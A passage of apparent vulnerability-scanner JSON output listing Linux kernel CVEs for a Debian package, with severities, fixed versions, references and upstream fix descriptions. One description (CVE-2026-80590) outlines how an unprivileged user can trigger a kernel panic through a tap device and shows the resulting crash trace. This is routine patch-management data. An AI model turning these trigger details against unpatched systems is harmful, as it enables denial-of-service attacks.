"https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/3dbb44d88b1e94dd31fe43588af7437b34b44d56", "https://git.kernel.org/stable/c/4a4410de8dc6903d859c9e1731fc6dcee28bd072", "https://git.kernel.org/stable/c/7f17984cfa697613800eb693e183b06884129bd3", "https://git.kernel.org/stable/c/88619b117be1daf633ce32210570ce35a0bd1c98", "https://linux.oracle.com/cve/CVE-2026-74752.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082600-CVE-2026-74752-6509@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74752", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74752" ], "PublishedDate": "2026-08-26T15:16:54.27Z", "LastModifiedDate": "2026-10-21T13:19:53.613Z" }, { "VulnerabilityID": "CVE-2026-80521", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80521", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57b394e90e85ad208000025e3d49318f9c6edf9ecad484eacb771f79de399b9d", "Title": "kernel: af_unix: Unlink scc_entry in unix_del_edge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Unlink scc_entry in unix_del_edge().\n\nKyle Zeng reported that GC could free a dead SCC partially.\n\nThe scenario is as follows:\n\n 1) Create two SCCs:\n\n X -. A \u003c-\u003e B\n ^--'\n\n 2) Run the following concurrently:\n\n 2-1) send() sk-B to sk-B from sk-X\n 2-2) close() both A and B\n\nAt 2-1), there is a small window where unix_add_edges()\npublishes a new edge (B \u003c-\u003e B) to GC but its skb is not queued\nby skb_queue_tail().\n\nIf 2-2) completes before skb_queue_tail() and GC is triggered,\nit judges A \u003c-\u003e B as dead, but B is not freed because GC cannot\ncollect the not-yet-queued skb holding the B \u003c-\u003e B edge.\n\n X -. A \u003c-\u003e B -. This edge is visible\n ^--' ^..' but skb is not\n\nThis itself is not a problem since the next GC run will judge\nB as dead as well and free it finally.\n\n X -. A \u003c.\u003e B -.\n ^--' ^--'\n\nHowever, X's SCC forces the next GC to call unix_walk_scc_fast(),\nand it iterates over A through B's scc_entry.\n\nLet's unlink scc_entry before freeing the vertex in unix_del_edge().", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://access.redhat.com/errata/RHSA-2026:81406", "https://access.redhat.com/security/cve/CVE-2026-80521", "https://bugzilla.redhat.com/2468043", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2507035", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2524478", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2468043", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2507035", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2516657", "https://bugzilla.redhat.com/show_bug.cgi?id=2524478", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72289", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/10/ALSA-2026-81406.html", "https://errata.rockylinux.org/RLSA-2026:81406", "https://git.kernel.org/stable/c/1293fd69a50d188a5788b08ba3741a3e86be1608", "https://git.kernel.org/stable/c/2b6c2842692d08e7acaf32d1eb47f95def35f3fe", "https://git.kernel.org/stable/c/594d905195024b228c962627ae5ae7c17bd582a4", "https://git.kernel.org/stable/c/6fda5c51b8e43a8440f76e65c89d9f95ddb2ef33", "https://git.kernel.org/stable/c/e3702470ced94fad74d71e2232f022d2eb752a6d", "https://git.kernel.org/stable/c/fe198b077864feafd4aa4b33b1a5ce26f50195a2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.4.0/BRSA-6hwsn2qrbtk5.toml", "https://linux.oracle.com/cve/CVE-2026-80521.html", "https://linux.oracle.com/errata/ELSA-2026-81406.html", "https://lore.kernel.org/linux-cve-announce/2026082601-CVE-2026-80521-2b35@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80521", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80521" ], "PublishedDate": "2026-08-26T15:17:05.677Z", "LastModifiedDate": "2026-10-03T11:17:39.437Z" }, { "VulnerabilityID": "CVE-2026-80586", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80586", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:469b49c8b8f97450ceae06496557f7f6ced632ac87e3c20d2aacf5ff9b9f3c4f", "Title": "kernel: mptcp: options: reset DSS fields in case of unexpected size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: options: reset DSS fields in case of unexpected size\n\nA remote peer could send a malformed DSS with a wrong size, followed by\nanother DSS or MPC + Data. In this case, the first suboption will be\nignored, but leaving some fields written, which could lead to\ninconsistency or access uninitialized data.\n\nExplicitly reset the fields that could have been modified in case of\nunexpected size.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:89083", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-80586", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513343", "https://bugzilla.redhat.com/2524438", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2532515", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-89083.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/stable/c/15e35fdad7a5576bf3f1c8d688877aeb5d1b506b", "https://git.kernel.org/stable/c/192878df582c51d440bf7b91a15f297f29f2b596", "https://git.kernel.org/stable/c/1fade1b2ac5b1a4948e538fae7313bea57b5ac36", "https://git.kernel.org/stable/c/26dac5c9ffb20812b475fdf253eb04fab99cff3b", "https://git.kernel.org/stable/c/27ed642a4e7e4b5df4b8522c72c457a67e052493", "https://git.kernel.org/stable/c/35772b4981f38ba8059372cde8753e8e477e98ec", "https://git.kernel.org/stable/c/4e80eff5c1c893aca2ac1d202f0b256d2e52ecde", "https://git.kernel.org/stable/c/b1256090816ec46011601e084be580731df58fc7", "https://linux.oracle.com/cve/CVE-2026-80586.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026082616-CVE-2026-80586-008c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80586", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80586" ], "PublishedDate": "2026-08-26T15:17:14.873Z", "LastModifiedDate": "2026-10-16T20:18:01.74Z" }, { "VulnerabilityID": "CVE-2026-80590", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80590", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b7781d30195f46f0e68e1a88e1af4aa5c32cec5f152bafcdc9aa9e909e99c8d1", "Title": "kernel: inet: frags: strip GSO state from fragments before reassembly", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: strip GSO state from fragments before reassembly\n\nA virtio_net_hdr (tun/tap, or AF_PACKET with PACKET_VNET_HDR) can mark\nan IPv4 or IPv6 fragment as GSO; nothing relates gso_type to frag_off.\ninet_frag_reasm_prepare()/inet_frag_reasm_finish() keep the first\nfragment's skb as the head of the reassembled datagram, including its\nshinfo-\u003egso_size/gso_type/gso_segs, and chain the remaining fragments\non frag_list with whatever linear/paged layout they arrived with.\n\nAfter ip_defrag() (ip_local_deliver(), nf_defrag_ipv4, ...) the\nreassembled skb therefore still claims to be GSO (SKB_GSO_DODGY), and\nthe next software segmentation point - udp_rcv_segment() on local\ndelivery, validate_xmit_skb(), or the ip_finish_output_gso() slow\npath - hands it to skb_segment(). skb_segment()'s frag_list walk\nassumes GRO-shaped input and hits one of its BUG_ON()s. Two writes to\na tap by an unprivileged user in its own userns are enough:\n\n kernel BUG at net/core/skbuff.c:4899!\n Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\n CPU: 0 UID: 1000 PID: 82 Comm: poc Not tainted 7.2.0-pentest+ #2\n RIP: 0010:skb_segment+0x20ca/0x48b0\n Call Trace:\n \u003cTASK\u003e\n __udp_gso_segment+0x29a/0x27d0\n udp4_ufo_fragment+0x458/0x6c0\n inet_gso_segment+0x429/0x1340\n skb_mac_gso_segment+0x233/0x4f0\n __skb_gso_segment+0x308/0x660\n udp_queue_rcv_skb+0x440/0xad0\n udp_unicast_rcv_skb+0xc7/0x2c0\n udp_rcv+0x16ce/0x2260\n ip_protocol_deliver_rcu+0x197/0x2d0\n ip_local_deliver+0x430/0x690\n ip_rcv+0x16f/0x1f0\n __netif_receive_skb_one_core+0x15e/0x1c0\n __netif_receive_skb+0x1e/0x110\n netif_receive_skb+0xf6/0x5c0\n tun_rx_batched.isra.0+0x3ab/0x790\n tun_get_user+0x17c3/0x3550\n tun_chr_write_iter+0xba/0x1b0\n vfs_write+0x646/0x1130\n \u003c/TASK\u003e\n Kernel panic - not syncing: Fatal exception in interrupt\n\nThis runs with BH disabled, so it is a panic rather than an oops. The\nsame is reachable with CAP_NET_RAW in a netns where a defrag point\nprecedes a GSO point, and from a guest whose VMM forwards\nvirtio_net_hdr to a tap. The SKB_GSO_DODGY frag_list checks added by\ncommit 3dcbdb134f32 (\"net: gso: Fix skb_segment splat when splitting\ngso_size mangled skb having linear-headed frag_list\") and by\ncommit 9e4b7a99a03a (\"net: gso: fix panic on frag_list with mixed head\nalloc types\") do not cover it: page-backed heads skip them, and kmalloc\nheads skip them when gso_size == skb_headlen(head), which the sender\ncontrols.\n\nAn skb entering a frag queue is an IP fragment by definition and\ncannot legitimately carry GSO state: GRO does not merge fragments and\nthe stack segments before it fragments, so only untrusted sources are\naffected. This has been reachable since\ncommit f43798c27684 (\"tun: Allow GSO using virtio_net_hdr\"), the first\npath that let userspace attach GSO metadata to an IP fragment. Reset\nthe GSO fields of every fragment as it is queued, in\ninet_frag_queue_insert(), which IPv4, IPv6, nf_conntrack_reasm and\n6lowpan reassembly share; then neither the head nor the frag_list\nmembers of the reassembled skb carry them (the members matter too:\nthe ip_do_fragment()/ip6_fragment() fast paths send them out as they\nare). The head may remain CHECKSUM_PARTIAL; that is already accepted\non receive and resolved by skb_checksum_help() in\nip_do_fragment()/ip6_fragment() on forward.\n\nTested on top of net.git (dc4b95b8fee9), x86_64: the tap reproducer\nabove, two further IPv4 frag_list geometries that reach\nBUG_ON(i \u003e= nfrags) and BUG_ON(!list_skb-\u003ehead_frag), and an IPv6\nfragment-header variant (udp6_ufo_fragment()) each panic the unpatched\nkernel; with this patch all four datagrams are delivered intact and\nnothing is logged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-80590", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3%20%287.3-rc1%29", "https://git.kernel.org/stable/c/14a8f3e10fa9a5abd6cedcdaa0c0b7ea9a09f234", "https://git.kernel.org/stable/c/29dda278a5ed272f2230ff4eaa23cf403107bba0", "https://git.kernel.org/stable/c/3edf721bb4b99d272c336631b44e3d8ff9a4f31b", "https://git.kernel.org/stable/c/69b73b74d9eb45f5560a8fe4fa406ada580e1340", "https://git.kernel.org/stable/c/c49f04e8d2b94dbb8d9fd99731dd3f00589c8ace", "https://git.kernel.org/stable/c/cfdbc8c2e6f9ef5d8b8e54859da03dfe682b0bee", "https://git.kernel.org/stable/c/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/stable/c/da857e448322a2e871ce3ecc2900027041160d43", "https://git.kernel.org/stable/c/dec2edb7aaf12a8878b3a03172ea8fc277b8eaad", "https://linux.oracle.com/cve/CVE-2026-80590.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026082816-CVE-2026-80590-241e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80590", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80590" ], "PublishedDate": "2026-08-28T08:16:42.517Z", "LastModifiedDate": "2026-10-19T09:17:09.163Z" }, { "VulnerabilityID": "CVE-2026-80714", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80714", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:996f84179232729040824f362d7fe49b3e409c41f96e9b6ba156439472fbcc66", "Title": "kernel: ipvs: do not propagate one-packet flag to synced conns", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: do not propagate one-packet flag to synced conns\n\nSynced connections can be created before their destination exists. When\nthe destination is later added, ip_vs_bind_dest() copies connection flags\nfrom the destination into cp-\u003eflags.\n\nIP_VS_CONN_F_ONE_PACKET connections are not synced. If a synced\nconnection inherits IP_VS_CONN_F_ONE_PACKET while it is already hashed,\nexpiry can treat it as a one-packet connection and skip unlinking the\nexisting conn_tab node, leaving stale hash nodes pointing at a freed\nstruct ip_vs_conn.\n\nDrop IP_VS_CONN_F_ONE_PACKET from destination flags when binding synced\nconnections.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-80714", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", 